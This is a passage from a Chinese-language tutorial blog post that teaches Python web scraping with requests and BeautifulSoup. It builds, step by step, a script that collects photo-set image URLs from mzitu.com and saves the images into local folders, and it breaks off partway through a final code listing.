href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161025224053.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161025224053-1024x615.png" alt="QQ截图20161025224053"></a> 观察一下网页你会发现图片页面的地址全部都在<li>...</li>标签中、（讲真！这么良心，还这么有规律的网页不多了啊！）不信啊?你展开<li>标签瞅瞅就知道啦 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161025224601.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161025224601-1024x604.png" alt="QQ截图20161025224601"></a> 点开
                    <li>标签你会发现图片<strong>页面的地址</strong>在<a>标签的href属性中、<strong>主题</strong>在<a>标签中（搞不清楚的这两个的区别的同学、去了解一下html的基础啦！） 实现逻辑就是：先找到页面中的全部
                    <li>标签、然后提取出中间<a>标签的href属性值与<a>标签的类容，前者我们用来继续请求html看看会不会有我们需要的图片下载地址，后者我们存储的时候给文件夹命名使用。 可能有小哥儿（妹儿）会问，为什么不直接查找<a>标签？ 你观察一下网页就知道呐！还有其他地方使用了<a>标签，如果直接查找<a>标签就会多出很多我们不需要的东西，也不方便我们提取想要的东西，先查找
                    <li>标签就是限制一下<a>标签的范围啦！ 通过上面的方法、知道了需要的数据的位置！该我们的<strong>beautifulsoup</strong>来大展身手啦！！！加上上面的一段代码现在应该是这样的啦！看不懂？没关系 看注释 看注释。
                  </p>
                  <figure class="highlight clean">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests ##导入requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup ##导入bs4中的BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">headers = &#123;<span class="string">'User-Agent'</span>:<span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>&#125;##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）</span><br><span class="line">all_url = <span class="string">'http://www.mzitu.com/all'</span>  ##开始的URL地址</span><br><span class="line">start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http:<span class="comment">//www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释</span></span><br><span class="line">#print(start_html.text) ##打印出start_html (请注意，concent是二进制的数据，一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)</span><br><span class="line">Soup = BeautifulSoup(start_html.text, <span class="string">'lxml'</span>) ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦）</span><br><span class="line">li_list = Soup.find_all(<span class="string">'li'</span>) ##使用BeautifulSoup解析网页过后就可以用找标签呐！（find_all是查找指定网页内的所有标签的意思，find_all返回的是一个列表。）</span><br><span class="line">for li <span class="keyword">in</span> li_list: ##这个不解释了。看不懂的小哥儿回去瞅瞅基础教程</span><br><span class="line">    print(li) ##同上</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行一下试试！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028113340.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028113340-1024x341.png" alt="QQ截图20161028113340"></a> 诶！！！不对啊！！抓到了我们不需要的东西啊！！！这可怎么办啊！！ 别急 别急！我们再去看看网页的 F12瞅瞅。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028113957.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028113957-1024x392.png" alt="QQ截图20161028113957"></a> 找到啦！原来有其他地方有<li>标签、观察不仔细啦！现在我们怎么办？ 我们再去F12瞅瞅！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028114348.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028114348-1024x454.png" alt="QQ截图20161028114348"></a> 哈哈！这就简单了，我们推翻上面的思路 现在我们先找到 <div class="all">这个标签 ， 然后直接找<a>标签！ 诶！不对啊！怎么直接找<a>标签了！上面的
                    <li>标签呢！！ 你仔细瞅瞅网页！在<div class="all"></div> 这个模块里面的<a>标签的全是我们需要的东西，就不需要
                    <li>标签来限制提取范围啦！所以就直接扔掉了不用了。也方便写代码啊。 现在我们改改上面的代码！
                  </p>
                  <figure class="highlight clean">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests ##导入requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup ##导入bs4中的BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">headers = &#123;<span class="string">'User-Agent'</span>:<span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>&#125;##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）</span><br><span class="line">all_url = <span class="string">'http://www.mzitu.com/all'</span>  ##开始的URL地址</span><br><span class="line">start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http:<span class="comment">//www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释</span></span><br><span class="line">#print(start_html.text) ##打印出start_html (请注意，concent是二进制的数据，一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)</span><br><span class="line">Soup = BeautifulSoup(start_html.text, <span class="string">'lxml'</span>) ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦）</span><br><span class="line">#li_list = Soup.find_all(<span class="string">'li'</span>) ##使用BeautifulSoup解析网页过后就可以用找标签呐！（find_all是查找指定网页内的所有标签的意思，find_all返回的是一个列表。）</span><br><span class="line">#for li <span class="keyword">in</span> li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程</span><br><span class="line">    #print(li) ##同上</span><br><span class="line">all_a = Soup.find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>) ##意思是先查找 <span class="keyword">class</span>为 all 的div标签，然后查找所有的&lt;a&gt;标签。</span><br><span class="line">for a <span class="keyword">in</span> all_a:</span><br><span class="line">    print(a)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p><strong>PS: ‘find’ 只查找给定的标签一次，就算后面还有一样的标签也不会提取出来哦！ 而 ‘find_all’ 是在页面中找出所有给定的标签！有十个给定的标签就返回十个（返回的是个list哦！！）,想要了解得更详细，就是看看官方文档吧！</strong> 来看看运行结果！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028150438.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028150438.png" alt="QQ截图20161028150438"></a> 哇哦！！全是我们需要的类容诶！什么？你的和这个不一样？或者报错了？回头看看 你做的和我有什么不一样······ 实在不行，群里求助吧！ 好啦！现在我们该来提取我们想要的内容了！又该我们BeautifulSoup大展身手了。 我们需要提取出<a>标签的href属性和文本。怎么做呢？看代码!</p>
                  <figure class="highlight clean">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests ##导入requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup ##导入bs4中的BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">headers = &#123;<span class="string">'User-Agent'</span>:<span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>&#125;##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）</span><br><span class="line">all_url = <span class="string">'http://www.mzitu.com/all'</span>  ##开始的URL地址</span><br><span class="line">start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http:<span class="comment">//www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释</span></span><br><span class="line">#print(start_html.text) ##打印出start_html (请注意，concent是二进制的数据，一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)</span><br><span class="line">Soup = BeautifulSoup(start_html.text, <span class="string">'lxml'</span>) ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦）</span><br><span class="line">#li_list = Soup.find_all(<span class="string">'li'</span>) ##使用BeautifulSoup解析网页过后就可以用找标签呐！（find_all是查找指定网页内的所有标签的意思，find_all返回的是一个列表。）</span><br><span class="line">#for li <span class="keyword">in</span> li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程</span><br><span class="line">    #print(li) ##同上</span><br><span class="line">all_a = Soup.find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>) ##意思是先查找 <span class="keyword">class</span>为 all 的div标签，然后查找所有的&lt;a&gt;标签。</span><br><span class="line"># 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面）</span><br><span class="line">all_a.pop(<span class="number">0</span>)</span><br><span class="line"># 上面是删掉列表的第一个元素</span><br><span class="line">for a <span class="keyword">in</span> all_a:</span><br><span class="line">    title = a.get_text() #取出a标签的文本</span><br><span class="line">    href = a[<span class="string">'href'</span>] #取出a标签的href 属性</span><br><span class="line">    print(title, href)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>就多了两行！很方便吧！！为什么这么写？自己去看官方文档啦！（我要全解释了，估计有些小哥儿官方文档都不会去看。这样很不好诶。） 来来！看看结果怎么样 我们来打印一下看看！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028152315.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028152315.png" alt="QQ截图20161028152315"></a> 哈哈 果然是我们想要的内容！我们已经找向目标前进了一半了！好啦前面已经把怎么实现的方法讲清楚了哦（如果你觉得什么地方有问题或者不清楚，在群里说说 我好改改）下面就要开始加快节奏了！！（篇幅长了 会被人骂的！） 上面我们找到了 图片的标题（暂时不管，这是后面用来创建文件夹的）和 图片页面的地址（这是我们这一步需要做的），需要做什么请参考最上面那个超简陋的流程图。 先查看一下图片页面有什么东西 你会发现一个页面只有一张图片啊！想要下载一套啊！ 你点一下面的 1 、2、3、4········ 你会发现地址栏里面的URL在变化啊！这就是我们的入手的地方了！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028164035.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028164035-1024x580.png" alt="QQ截图20161028164035"></a> 页码在<span>标签中，我们只需要获取最后一个页面的页码， 从 1 开始历遍，和我们上面获取的URL拼接在一起就是每张图片的页面地址啦！ 在页面的源代码搜一下<span>标签 [![QQ截图20161028191747](http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747-1024x554.png)](http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747.png) 可以发现最后一个页面的<span>标签是第二十一个标签，因为在html中标签是成对的，所以我需要查找的是第十一个<span>标签（BeautifulSoup是以开始的标签定位，而不是结尾的。开始的标签是这样<>；结束的标签是这样</>） 废话不多说上代码！ <strong>PS：下面的代码我已经把注释掉的删掉了，所以看起来和上面的不太一样。</strong></p>
                  <figure class="highlight clean">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests ##导入requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup ##导入bs4中的BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">headers = &#123;<span class="string">'User-Agent'</span>:<span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>&#125;##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）</span><br><span class="line">all_url = <span class="string">'http://www.mzitu.com/all'</span>  ##开始的URL地址</span><br><span class="line">start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http:<span class="comment">//www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释</span></span><br><span class="line">Soup = BeautifulSoup(start_html.text, <span class="string">'lxml'</span>) ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦）</span><br><span class="line">all_a = Soup.find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>) ##意思是先查找 <span class="keyword">class</span>为 all 的div标签，然后查找所有的&lt;a&gt;标签。</span><br><span class="line"># 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面）</span><br><span class="line">all_a.pop(<span class="number">0</span>)</span><br><span class="line"># 上面是删掉列表的第一个元素</span><br><span class="line">for a <span class="keyword">in</span> all_a:</span><br><span class="line">    title = a.get_text() #取出a标签的文本</span><br><span class="line">    href = a[<span class="string">'href'</span>] #取出a标签的href 属性</span><br><span class="line">    html = requests.get(href, headers=headers) ##上面说过了</span><br><span class="line">    html_Soup = BeautifulSoup(html.text, <span class="string">'lxml'</span>) ##上面说过了</span><br><span class="line">    max_span = html_Soup.find(<span class="string">'div'</span>, class_=<span class="string">'pagenavi'</span>).find_all(<span class="string">'span'</span>)[<span class="number">-2</span>].get_text() ##查找所有的&lt;span&gt;标签获取第十个的&lt;span&gt;标签中的文本也就是最后一个页面了。</span><br><span class="line">    for page <span class="keyword">in</span> range(<span class="number">1</span>, int(max_span)+<span class="number">1</span>): ##不知道为什么这么用的小哥儿去看看基础教程吧</span><br><span class="line">        page_url = href + <span class="string">'/'</span> + str(page) ##同上</span><br><span class="line">        print(page_url) ##这个page_url就是每张图片的页面地址啦！但还不是实际地址！</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>好啦！运行一下试试！就是下面这样: <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028194230.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028194230.png" alt="QQ截图20161028194230"></a> 完美！！每个页面的地址都出来啦！！！ 下面开始找图片的实际地址啦！ 随意打开上面的地址地用F12调试工具试试！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028195338.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028195338-1024x405.png" alt="QQ截图20161028195338"></a> 会发现我们需要的地址在
                  <div class="main-image">中的<img>标签的src属性中。是不是很眼熟啊！知道怎么写了吧？下面上代码：</p>
                    <figure class="highlight clean">
                      <table>
                        <tr>
                          <td class="gutter">
                            <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre>
                          </td>
                          <td class="code">
                            <pre><span class="line"><span class="keyword">import</span> requests ##导入requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup ##导入bs4中的BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">headers = &#123;<span class="string">'User-Agent'</span>:<span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>&#125;##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）</span><br><span class="line">all_url = <span class="string">'http://www.mzitu.com/all'</span>  ##开始的URL地址</span><br><span class="line">start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http:<span class="comment">//www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释</span></span><br><span class="line">Soup = BeautifulSoup(start_html.text, <span class="string">'lxml'</span>) ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦）</span><br><span class="line">all_a = Soup.find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>) ##意思是先查找 <span class="keyword">class</span>为 all 的div标签，然后查找所有的&lt;a&gt;标签。</span><br><span class="line"># 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面）</span><br><span class="line">all_a.pop(<span class="number">0</span>)</span><br><span class="line"># 上面是删掉列表的第一个元素</span><br><span class="line">for a <span class="keyword">in</span> all_a:</span><br><span class="line">    title = a.get_text() #取出a标签的文本</span><br><span class="line">    href = a[<span class="string">'href'</span>] #取出a标签的href 属性</span><br><span class="line">    html = requests.get(href, headers=headers) ##上面说过了</span><br><span class="line">    html_Soup = BeautifulSoup(html.text, <span class="string">'lxml'</span>) ##上面说过了</span><br><span class="line">    max_span = html_Soup.find(<span class="string">'div'</span>, <span class="keyword">class</span>=<span class="string">'pagenavi'</span>).find_all(<span class="string">'span'</span>)[<span class="number">-2</span>].get_text() ##查找所有的&lt;span&gt;标签获取第十个的&lt;span&gt;标签中的文本也就是最后一个页面了。</span><br><span class="line">    for page <span class="keyword">in</span> range(<span class="number">1</span>, int(max_span)+<span class="number">1</span>): ##不知道为什么这么用的小哥儿去看看基础教程吧</span><br><span class="line">        page_url = href + <span class="string">'/'</span> + str(page) ##同上</span><br><span class="line">        img_html = requests.get(page_url, headers=headers)</span><br><span class="line">        img_Soup = BeautifulSoup(img_html.text, <span class="string">'lxml'</span>)</span><br><span class="line">        img_url = img_Soup.find(<span class="string">'div'</span>, class_=<span class="string">'main-image'</span>).find(<span class="string">'img'</span>)[<span class="string">'src'</span>] ##这三行上面都说过啦不解释了哦</span><br><span class="line">        print(img_url)</span><br></pre>
                          </td>
                        </tr>
                      </table>
                    </figure>
                    <p>运行一下 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028200330.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028200330.png" alt="QQ截图20161028200330"></a> 完美！就是我们想要的东西，下面开始保存了哦！哈哈！妹子马上就可以到你碗里去了！ 首先我们要给每套图建一个文件夹，然后将下载的图片以URL的 xxxxx.jpg 中的xxxxx命名保存在这个文件夹里面。直接上代码了！</p>
                    <figure class="highlight clean">
                      <table>
                        <tr>
                          <td class="gutter">
                            <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre>
                          </td>
                          <td class="code">
                            <pre><span class="line"><span class="keyword">import</span> requests ##导入requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup ##导入bs4中的BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">headers = &#123;<span class="string">'User-Agent'</span>:<span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>&#125;##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）</span><br><span class="line">all_url = <span class="string">'http://www.mzitu.com/all'</span>  ##开始的URL地址</span><br><span class="line">start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http:<span class="comment">//www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释</span></span><br><span class="line">Soup = BeautifulSoup(start_html.text, <span class="string">'lxml'</span>) ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦）</span><br><span class="line">all_a = Soup.find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>) ##意思是先查找 <span class="keyword">class</span>为 all 的div标签，然后查找所有的&lt;a&gt;标签。</span><br><span class="line"># 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面）</span><br><span class="line">all_a.pop(<span class="number">0</span>)</span><br><span class="line"># 上面是删掉列表的第一个元素</span><br><span class="line">for a <span class="keyword">in</span> all_a:</span><br><span class="line">    title = a.get_text() #取出a标签的文本</span><br><span class="line">    path = str(title).strip() ##去掉空格</span><br><span class="line">    os.makedirs(os.path.join(<span class="string">"D:\mzitu"</span>, path)) ##创建一个存放套图的文件夹</span><br><span class="line">    os.chdir(<span class="string">"D:\mzitu\\"</span>+path) ##切换到上面创建的文件夹</span><br><span class="line">    href = a[<span class="string">'href'</span>] #取出a标签的href 属性</span><br><span class="line">    html = requests.get(href, headers=headers) ##上面说过了</span><br><span class="line">    html_Soup = BeautifulSoup(html.text, <span class="string">'lxml'</span>) ##上面说过了</span><br><span class="line">    max_span = html_Soup.find(<span class="string">'div'</span>, class_=<span class="string">'pagenavi'</span>).find_all(<span class="string">'span'</span>)[<span class="number">-2</span>].get_text() ##查找所有的&lt;span&gt;标签获取第十个的&lt;span&gt;标签中的文本也就是最后一个页面了。</span><br><span class="line">    for page <span class="keyword">in</span> range(<span class="number">1</span>, int(max_span)+<span class="number">1</span>): ##不知道为什么这么用的小哥儿去看看基础教程吧</span><br><span class="line">        page_url = href + <span class="string">'/'</span> + str(page) ##同上</span><br><span class="line">        img_html = requests.get(page_url, headers=headers)</span><br><span class="line">        img_Soup = BeautifulSoup(img_html.text, <span class="string">'lxml'</span>)</span><br><span class="line">        img_url = img_Soup.find(<span class="string">'div'</span>, class_=<span class="string">'main-image'</span>).find(<span class="string">'img'</span>)[<span class="string">'src'</span>] ##这三行上面都说过啦不解释了哦</span><br><span class="line">        name = img_url[<span class="number">-9</span>:<span class="number">-4</span>] ##取URL 倒数第四至第九位 做图片的名字</span><br><span class="line">        img = requests.get(img_url, headers=headers)</span><br><span class="line">        f = open(name+<span class="string">'.jpg'</span>, <span class="string">'ab'</span>)##写入多媒体文件必须要 b 这个参数！！必须要！！</span><br><span class="line">        f.write(img.content) ##多媒体文件要是用conctent哦！</span><br><span class="line">        f.close()</span><br></pre>
                          </td>
                        </tr>
                      </table>
                    </figure>
                    <p>好了！！来运行一下 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028205004.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028205004.png" alt="QQ截图20161028205004"></a> 哈哈哈完美！！！以上完毕！下面我们来整理一下代码，弄个函数什么的提示下逼格！加点提示什么的 首先我们上面requests一共使用了三次，我们写一个函数复用 （别怕！一点都不难）</p>
                    <figure class="highlight ruby">
                      <table>
                        <tr>
                          <td class="gutter">
                            <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                          </td>
                          <td class="code">
                            <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">request</span><span class="params">(url)</span></span><span class="symbol">:</span></span><br><span class="line">    headers = &#123;<span class="string">'User-Agent'</span>: <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>&#125;</span><br><span class="line">    content = requests.get(url, headers=headers)</span><br><span class="line">    <span class="keyword">return</span> content</span><br></pre>
                          </td>
                        </tr>
                      </table>
                    </figure>
                    <p>当调用request的时候会获取URL地址的网页然后返回获取到的response （response 是啥？ 你理解成请求网页地址返回的源码就好了！ 注意：如果请求的是多媒体文件的话 response返回的是二进制文件哦！） 哈哈！第一个就写好啦，简单吧！ 第二个是创建文件</p>
                    <figure class="highlight python">
                      <table>
                        <tr>
                          <td class="gutter">
                            <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre>
                          </td>
                          <td class="code">
                            <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">mkdir</span><span class="params">(self, path)</span>:</span></span><br><span class="line">        path = path.strip()</span><br><span class="line">        isExists = os.path.exists(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> isExists:</span><br><span class="line">            print(<span class="string">u'建了一个名字叫做'</span>, path, <span class="string">u'的文件夹！'</span>)</span><br><span class="line">            os.makedirs(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">u'名字叫做'</span>, path, <span class="string">u'的文件夹已经存在了！'</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br></pre>
                          </td>
                        </tr>
                      </table>
                    </figure>
                    <p>调用mkdir这个函数时，会在D:\mzitu文件下创建一个path这个<strong>参数</strong>的文件夹（是参数 不是 path哦！就是你调用的时候传递什么参数给这个函数 就创建什么文件夹！这个函数可以存着，下载东西到本地 都可以用），另外一个好处就是在文件夹已经存在的情况下不会报错退出程序哦！ 不使用就会诶！ 好啦 剩下的我就一股脑的写出来了！ <strong>PS: 感谢<a href="http://weibo.com/nenyah" target="_blank" rel="noopener">Lucibriel</a>的提醒！（因为我的程序就在D盘，所以疏忽了 程序没在D盘 os.chdir() 不能切换目录的问题、已经就改过来了；非常抱歉。）</strong></p>
                    <figure class="highlight python">
                      <table>
                        <tr>
                          <td class="gutter">
                            <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span 